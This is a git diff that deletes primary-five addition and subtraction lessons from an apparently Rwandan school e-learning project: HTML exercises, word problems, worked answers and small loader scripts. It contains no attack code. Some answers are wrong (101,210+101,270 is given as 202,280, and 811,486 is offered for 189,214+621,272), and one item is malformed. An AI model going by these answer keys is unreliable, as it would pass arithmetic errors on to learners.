diff --git a/Save_Mathematics/P5/map511m03/map511m3a02/source.txt b/Save_Mathematics/P5/map511m03/map511m3a02/source.txt
deleted file mode 100644
index f860810..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a02/source.txt
+++ /dev/null
@@ -1,44 +0,0 @@
-<p>
- Calculate the sum of the following numbers:
- <br />
- 1)789,214+101,101=
- <br />
- 2)214,019+2500=
- <br />
- 3)101,210+101,270=
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1)789,214
- <br />
- +
- <span style="text-decoration: underline;">
-  101,101
-  <br />
- </span>
- 890,315
- <br />
- <br />
- 2)214,019
- <br />
- +
- <span style="text-decoration: underline;">
-  2,500
- </span>
- <br />
- 216,519
- <br />
- <br />
- 3)101,210
- <br />
- +
- <span style="text-decoration: underline;">
-  101,270
- </span>
- <br style="text-decoration: underline;" />
- 202,280
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a03/a.txt b/Save_Mathematics/P5/map511m03/map511m3a03/a.txt
deleted file mode 100644
index 4e20ae9..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a03/a.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- 1.calculate the sum of the following numbers:
- <br />
- a)650,345+2451=
- <br />
- b)173,450+7,600=
- <br />
- c)15,430+405,704=
- <br />
- <br />
- 2.A Father gives their children money for buying school materials.Peter get 15,000rfws,John get 2,500rfws and James get 30,000rfws.calculate the total amount gave by their father.
- <br />
- <br />
- 3.Nyungwe national park contains 217,274 gorillas and Akagera national park contains 214,999 gorillas.how many gorillas altogether are in both national park.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a03/description.py b/Save_Mathematics/P5/map511m03/map511m3a03/description.py
deleted file mode 100644
index db79633..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m3a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m03/map511m3a03/lesson.js b/Save_Mathematics/P5/map511m03/map511m3a03/lesson.js
deleted file mode 100644
index 19e0b2a..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m03/map511m3a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m03/map511m3a03/source.txt b/Save_Mathematics/P5/map511m03/map511m3a03/source.txt
deleted file mode 100644
index 4e20ae9..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a03/source.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- 1.calculate the sum of the following numbers:
- <br />
- a)650,345+2451=
- <br />
- b)173,450+7,600=
- <br />
- c)15,430+405,704=
- <br />
- <br />
- 2.A Father gives their children money for buying school materials.Peter get 15,000rfws,John get 2,500rfws and James get 30,000rfws.calculate the total amount gave by their father.
- <br />
- <br />
- 3.Nyungwe national park contains 217,274 gorillas and Akagera national park contains 214,999 gorillas.how many gorillas altogether are in both national park.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a04/a.txt b/Save_Mathematics/P5/map511m03/map511m3a04/a.txt
deleted file mode 100644
index 9df1667..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a04/a.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<p>
- 1.calculate the sum of the following numbers:
- <br />
- a)650,123,004=
- <br />
- <br />
- b)125,001 + 345,065=
- <br />
- <br />
- c)330,540 + 75,000=
- <br />
- 2.A father gives money to their children to buy school materials.Peter get 15,000rfws,John get 7,500rfws and James get 30,000rfws.calculate the total money gave by their father.
- <br />
- <br />
- 3. Charles corporation processes 456,000liter of oil.David processes 204,100litter and Adam processes 180,000litter.how many oil do they processes altogether?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a04/description.py b/Save_Mathematics/P5/map511m03/map511m3a04/description.py
deleted file mode 100644
index d1501ce..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m3a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m03/map511m3a04/lesson.js b/Save_Mathematics/P5/map511m03/map511m3a04/lesson.js
deleted file mode 100644
index cb203a2..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m03/map511m3a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m03/map511m3a04/source.txt b/Save_Mathematics/P5/map511m03/map511m3a04/source.txt
deleted file mode 100644
index 9df1667..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a04/source.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<p>
- 1.calculate the sum of the following numbers:
- <br />
- a)650,123,004=
- <br />
- <br />
- b)125,001 + 345,065=
- <br />
- <br />
- c)330,540 + 75,000=
- <br />
- 2.A father gives money to their children to buy school materials.Peter get 15,000rfws,John get 7,500rfws and James get 30,000rfws.calculate the total money gave by their father.
- <br />
- <br />
- 3. Charles corporation processes 456,000liter of oil.David processes 204,100litter and Adam processes 180,000litter.how many oil do they processes altogether?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a05/a.txt b/Save_Mathematics/P5/map511m03/map511m3a05/a.txt
deleted file mode 100644
index f98c176..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a05/a.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- 1.compute the sum of the following numbers:
- <br />
- a)7,259+2,451=
- <br />
- <br />
- b)173,450+7,600=
- <br />
- <br />
- c)15,400+405,706=
- <br />
- <br />
- 2.The distance between two points A and b is 250,000km and the distance between b and c is 100,000km as it is illustrated in the following figure
- <br />
- A B C
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-  </tr>
- </tbody>
-</table>
-<p>
- 250,000km 100,000km
- <br />
- <br />
- What is the total length between A and C?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a05/description.py b/Save_Mathematics/P5/map511m03/map511m3a05/description.py
deleted file mode 100644
index 2fffaa8..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m3a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m03/map511m3a05/lesson.js b/Save_Mathematics/P5/map511m03/map511m3a05/lesson.js
deleted file mode 100644
index 81817d9..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m03/map511m3a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m03/map511m3a05/source.txt b/Save_Mathematics/P5/map511m03/map511m3a05/source.txt
deleted file mode 100644
index f98c176..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a05/source.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- 1.compute the sum of the following numbers:
- <br />
- a)7,259+2,451=
- <br />
- <br />
- b)173,450+7,600=
- <br />
- <br />
- c)15,400+405,706=
- <br />
- <br />
- 2.The distance between two points A and b is 250,000km and the distance between b and c is 100,000km as it is illustrated in the following figure
- <br />
- A B C
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-  </tr>
- </tbody>
-</table>
-<p>
- 250,000km 100,000km
- <br />
- <br />
- What is the total length between A and C?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a06/a.txt b/Save_Mathematics/P5/map511m03/map511m3a06/a.txt
deleted file mode 100644
index 401b641..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a06/a.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- 1.find the sum of the following numbers:
- <br />
- a)145,004 + 125,000=
- <br />
- b)24,000 + 102,400=
- <br />
- c)107,000 + 605,000 + 74,640=
- <br />
- <br />
- 2.Match elements of questions with the respective answer :
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  questions
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  <br />
-  <br />
- </span>
- a)189,214 + 621,272=
- <br />
- <br />
- b)250,000 + 150,000=
- <br />
- <br />
- c)15,000 + 30,000=
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  <br />
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  answers
- </span>
- <br />
- 1)45,000
- <br />
- <br />
- 2)811,486
- <br />
- <br />
- 3)500,000
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m03/map511m3a06/description.py b/Save_Mathematics/P5/map511m03/map511m3a06/description.py
deleted file mode 100644
index a76c7ec..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m3a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m03/map511m3a06/lesson.js b/Save_Mathematics/P5/map511m03/map511m3a06/lesson.js
deleted file mode 100644
index 0b16779..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m03/map511m3a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m03/map511m3a06/source.txt b/Save_Mathematics/P5/map511m03/map511m3a06/source.txt
deleted file mode 100644
index 401b641..0000000
--- a/Save_Mathematics/P5/map511m03/map511m3a06/source.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- 1.find the sum of the following numbers:
- <br />
- a)145,004 + 125,000=
- <br />
- b)24,000 + 102,400=
- <br />
- c)107,000 + 605,000 + 74,640=
- <br />
- <br />
- 2.Match elements of questions with the respective answer :
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  questions
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  <br />
-  <br />
- </span>
- a)189,214 + 621,272=
- <br />
- <br />
- b)250,000 + 150,000=
- <br />
- <br />
- c)15,000 + 30,000=
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  <br />
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  answers
- </span>
- <br />
- 1)45,000
- <br />
- <br />
- 2)811,486
- <br />
- <br />
- 3)500,000
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/activities.js b/Save_Mathematics/P5/map511m04/activities.js
deleted file mode 100755
index 0da006a..0000000
--- a/Save_Mathematics/P5/map511m04/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m4a01','blue'],
-['2','2','map5','basic','map511m4a02','blue'],
-['3','3','map5','basic','map511m4a03','blue'],
-['4','4','map5','basic','map511m4a04','blue'],
-['5','5','map5','basic','map511m4a05','blue'],
-['6','6','map5','basic','map511m4a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m04/map511m4a01/a.txt b/Save_Mathematics/P5/map511m04/map511m4a01/a.txt
deleted file mode 100644
index d0c394f..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a01/a.txt
+++ /dev/null
@@ -1,45 +0,0 @@
-<p>
- In daily life,we need to use subtraction of numbers for the things,it expresses the difference of numbers for the things expressed in numbers.
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLES
- </span>
- :1)When we were in primary five,we were 45 pupils and 10 pupils among us were repeated in that year.The others promoted in the following class.How many pupils were promoted in the other class?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER:
- </span>
- The pupils were promoted in the other class =45-10=35
- <br />
- <br />
- <br />
- 2)A father gives 1200Frws to his child for buying the notebook which costs 700Frws.How much money did child left?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- :Child left with=1200-700=500Frws
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Meaning
- </span>
- :Taking away one number from another to find the difference between those numbers.
- <br />
- <br />
- In calculation of the difference or subtraction between two numbers we put the sign (-)
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLES: 1.
- </span>
- 80 CONES-30 CONES=50 CONES
- <br />
- <br />
- 2.35000$-15000$=20000$
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a01/description.py b/Save_Mathematics/P5/map511m04/map511m4a01/description.py
deleted file mode 100644
index b5af7c3..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m4a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m04/map511m4a01/lesson.js b/Save_Mathematics/P5/map511m04/map511m4a01/lesson.js
deleted file mode 100644
index f4e8fa3..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m04/map511m4a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m04/map511m4a01/source.txt b/Save_Mathematics/P5/map511m04/map511m4a01/source.txt
deleted file mode 100644
index d0c394f..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a01/source.txt
+++ /dev/null
@@ -1,45 +0,0 @@
-<p>
- In daily life,we need to use subtraction of numbers for the things,it expresses the difference of numbers for the things expressed in numbers.
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLES
- </span>
- :1)When we were in primary five,we were 45 pupils and 10 pupils among us were repeated in that year.The others promoted in the following class.How many pupils were promoted in the other class?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER:
- </span>
- The pupils were promoted in the other class =45-10=35
- <br />
- <br />
- <br />
- 2)A father gives 1200Frws to his child for buying the notebook which costs 700Frws.How much money did child left?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- :Child left with=1200-700=500Frws
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Meaning
- </span>
- :Taking away one number from another to find the difference between those numbers.
- <br />
- <br />
- In calculation of the difference or subtraction between two numbers we put the sign (-)
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLES: 1.
- </span>
- 80 CONES-30 CONES=50 CONES
- <br />
- <br />
- 2.35000$-15000$=20000$
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a02/a.txt b/Save_Mathematics/P5/map511m04/map511m4a02/a.txt
deleted file mode 100644
index 7788f91..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a02/a.txt
+++ /dev/null
@@ -1,89 +0,0 @@
-<p>
- calculate the difference of the following numbers:
- <br />
- a)267 - 120=
- <br />
- <br />
- b)146 -96=
- <br />
- <br />
- c)16,480 - 7,480=
- <br />
- <br />
- d)24,684 - 8,965=
- <br />
- <br />
- e)106,740 -8,965=
- <br />
- <br />
- f)984,712 - 879,999=
- <br />
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- a) 267
- <br />
- -
- <span style="text-decoration: underline;">
-  120
- </span>
- <br />
- 147
- <br />
- <br />
- b)146
- <br />
- -
- <span style="text-decoration: underline;">
-  96
- </span>
- <br />
- &nbsp;&nbsp; 50
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- <br />
- c)16,480
- <br />
- -
- <span style="text-decoration: underline;">
-  7,480
- </span>
- <br />
- 9,000
- <br />
- <br />
- d)24,684
- <br />
- -
- <span style="text-decoration: underline;">
-  8,965
- </span>
- <br />
- 15,719
- <br />
- <br />
- e)106,740
- <br />
- -
- <span style="text-decoration: underline;">
-  8,965
- </span>
- <br />
- 97,775
- <br />
- <br />
- f)984,712
- <br />
- -
- <span style="text-decoration: underline;">
-  879,999
- </span>
- <br />
- 104,713
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a02/description.py b/Save_Mathematics/P5/map511m04/map511m4a02/description.py
deleted file mode 100644
index cd2f4a2..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m4a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m04/map511m4a02/lesson.js b/Save_Mathematics/P5/map511m04/map511m4a02/lesson.js
deleted file mode 100644
index 8152f1b..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m04/map511m4a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m04/map511m4a02/source.txt b/Save_Mathematics/P5/map511m04/map511m4a02/source.txt
deleted file mode 100644
index 7788f91..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a02/source.txt
+++ /dev/null
@@ -1,89 +0,0 @@
-<p>
- calculate the difference of the following numbers:
- <br />
- a)267 - 120=
- <br />
- <br />
- b)146 -96=
- <br />
- <br />
- c)16,480 - 7,480=
- <br />
- <br />
- d)24,684 - 8,965=
- <br />
- <br />
- e)106,740 -8,965=
- <br />
- <br />
- f)984,712 - 879,999=
- <br />
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- a) 267
- <br />
- -
- <span style="text-decoration: underline;">
-  120
- </span>
- <br />
- 147
- <br />
- <br />
- b)146
- <br />
- -
- <span style="text-decoration: underline;">
-  96
- </span>
- <br />
- &nbsp;&nbsp; 50
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- <br />
- c)16,480
- <br />
- -
- <span style="text-decoration: underline;">
-  7,480
- </span>
- <br />
- 9,000
- <br />
- <br />
- d)24,684
- <br />
- -
- <span style="text-decoration: underline;">
-  8,965
- </span>
- <br />
- 15,719
- <br />
- <br />
- e)106,740
- <br />
- -
- <span style="text-decoration: underline;">
-  8,965
- </span>
- <br />
- 97,775
- <br />
- <br />
- f)984,712
- <br />
- -
- <span style="text-decoration: underline;">
-  879,999
- </span>
- <br />
- 104,713
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a03/a.txt b/Save_Mathematics/P5/map511m04/map511m4a03/a.txt
deleted file mode 100644
index c92e8aa..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a03/a.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- 1.what is the difference of the following numbers:
- <br />
- a)217
- <br />
- -
- <span style="text-decoration: underline;">
-  59
- </span>
- <br />
- <br />
- b)1729
- <br />
- -
- <span style="text-decoration: underline;">
-  1269
- </span>
- <br />
- <br />
- c)219,279
- <br />
- -
- <span style="text-decoration: underline;">
-  182,974
- </span>
- <br />
- <br />
- 2.fill in the blank spaces:
- <br />
- a)717,292 + ......=999,997
- <br />
- <br />
- b).......+ 198,714=979,198
- <br />
- <br />
- c)794,169 +......=894,001
- <br />
- <br />
- 3.The distance between two bus stations is 217,017km.if a bus had covered 94,127km only.what distance did the bus left to covered?
- <br />
- <br />
- 4.A water tank holds 5,600liter of water.if 4,250liter are used,how much water left in the tank?
- <br />
- <br />
- 5.How much is 85,000 greater than 42,390?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a03/description.py b/Save_Mathematics/P5/map511m04/map511m4a03/description.py
deleted file mode 100644
index ba6e90d..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m4a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m04/map511m4a03/lesson.js b/Save_Mathematics/P5/map511m04/map511m4a03/lesson.js
deleted file mode 100644
index 8877093..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m04/map511m4a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m04/map511m4a03/source.txt b/Save_Mathematics/P5/map511m04/map511m4a03/source.txt
deleted file mode 100644
index c92e8aa..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a03/source.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- 1.what is the difference of the following numbers:
- <br />
- a)217
- <br />
- -
- <span style="text-decoration: underline;">
-  59
- </span>
- <br />
- <br />
- b)1729
- <br />
- -
- <span style="text-decoration: underline;">
-  1269
- </span>
- <br />
- <br />
- c)219,279
- <br />
- -
- <span style="text-decoration: underline;">
-  182,974
- </span>
- <br />
- <br />
- 2.fill in the blank spaces:
- <br />
- a)717,292 + ......=999,997
- <br />
- <br />
- b).......+ 198,714=979,198
- <br />
- <br />
- c)794,169 +......=894,001
- <br />
- <br />
- 3.The distance between two bus stations is 217,017km.if a bus had covered 94,127km only.what distance did the bus left to covered?
- <br />
- <br />
- 4.A water tank holds 5,600liter of water.if 4,250liter are used,how much water left in the tank?
- <br />
- <br />
- 5.How much is 85,000 greater than 42,390?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a04/a.txt b/Save_Mathematics/P5/map511m04/map511m4a04/a.txt
deleted file mode 100644
index cb8778b..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a04/a.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-<p>
- 1.Fill in the blank space:
- <br />
- <br />
- a)192 + ......= 197,214
- <br />
- <br />
- b)186,217 + ...=201,709
- <br />
- <br />
- 2.The following peoples have the following amount left in their bank account:
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    name
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Adam
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Charles
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Hassan
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    amount
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    174,716
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    612,474
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    200,000
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- a.calculate the difference between Adam's account with Hassan's account.
- <br />
- <br />
- b.what is the sum of amount for all peoples?
- <br />
- <br />
- c.what is the difference between the total amount of money on Adam and Charles on Hassan's account?
- <br />
- <br />
- 3.Muhanga district had a population of 645,000 peoples in the census.Of these
- <br />
- 214,727 were men.how many females were there in Muhanga?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a04/description.py b/Save_Mathematics/P5/map511m04/map511m4a04/description.py
deleted file mode 100644
index 6d9c97d..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m4a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m04/map511m4a04/lesson.js b/Save_Mathematics/P5/map511m04/map511m4a04/lesson.js
deleted file mode 100644
index 4431c3f..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m04/map511m4a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m04/map511m4a04/source.txt b/Save_Mathematics/P5/map511m04/map511m4a04/source.txt
deleted file mode 100644
index cb8778b..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a04/source.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-<p>
- 1.Fill in the blank space:
- <br />
- <br />
- a)192 + ......= 197,214
- <br />
- <br />
- b)186,217 + ...=201,709
- <br />
- <br />
- 2.The following peoples have the following amount left in their bank account:
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    name
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Adam
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Charles
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Hassan
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    amount
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    174,716
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    612,474
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    200,000
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- a.calculate the difference between Adam's account with Hassan's account.
- <br />
- <br />
- b.what is the sum of amount for all peoples?
- <br />
- <br />
- c.what is the difference between the total amount of money on Adam and Charles on Hassan's account?
- <br />
- <br />
- 3.Muhanga district had a population of 645,000 peoples in the census.Of these
- <br />
- 214,727 were men.how many females were there in Muhanga?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a05/a.txt b/Save_Mathematics/P5/map511m04/map511m4a05/a.txt
deleted file mode 100644
index 1ac90da..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a05/a.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-<p>
- 1.subtract the following numbers:
- <br />
- <br />
- a)14,475 - 8,745=
- <br />
- <br />
- b)405,305 - 200,450=
- <br />
- <br />
- c)175,390 - 100,370=
- <br />
- <br />
- d)84,000 - 12,500=
- <br />
- <br />
- 2.Jonas had 248,000$.he wants to give their children the amount of money;Adam get 75,000$;Amir get 85,000$;Razia get 30,000$.how much money does Jonas leave with?
- <br />
- <br />
- 3.The school fees payment of Remera catholic 2 in first term is 65,000 rfws.A parent paid 25,000rfws for first shift.how much money does parent leave to pay in order to complete the school fees?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m04/map511m4a05/description.py b/Save_Mathematics/P5/map511m04/map511m4a05/description.py
deleted file mode 100644
index 82721bf..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m4a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m04/map511m4a05/lesson.js b/Save_Mathematics/P5/map511m04/map511m4a05/lesson.js
deleted file mode 100644
index 5be7915..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m04/map511m4a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m04/map511m4a05/source.txt b/Save_Mathematics/P5/map511m04/map511m4a05/source.txt
deleted file mode 100644
index 1ac90da..0000000
--- a/Save_Mathematics/P5/map511m04/map511m4a05/source.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-<p>
- 1.subtract the following numbers:
- <br />
- <br />
- a)14,475 - 8,745=
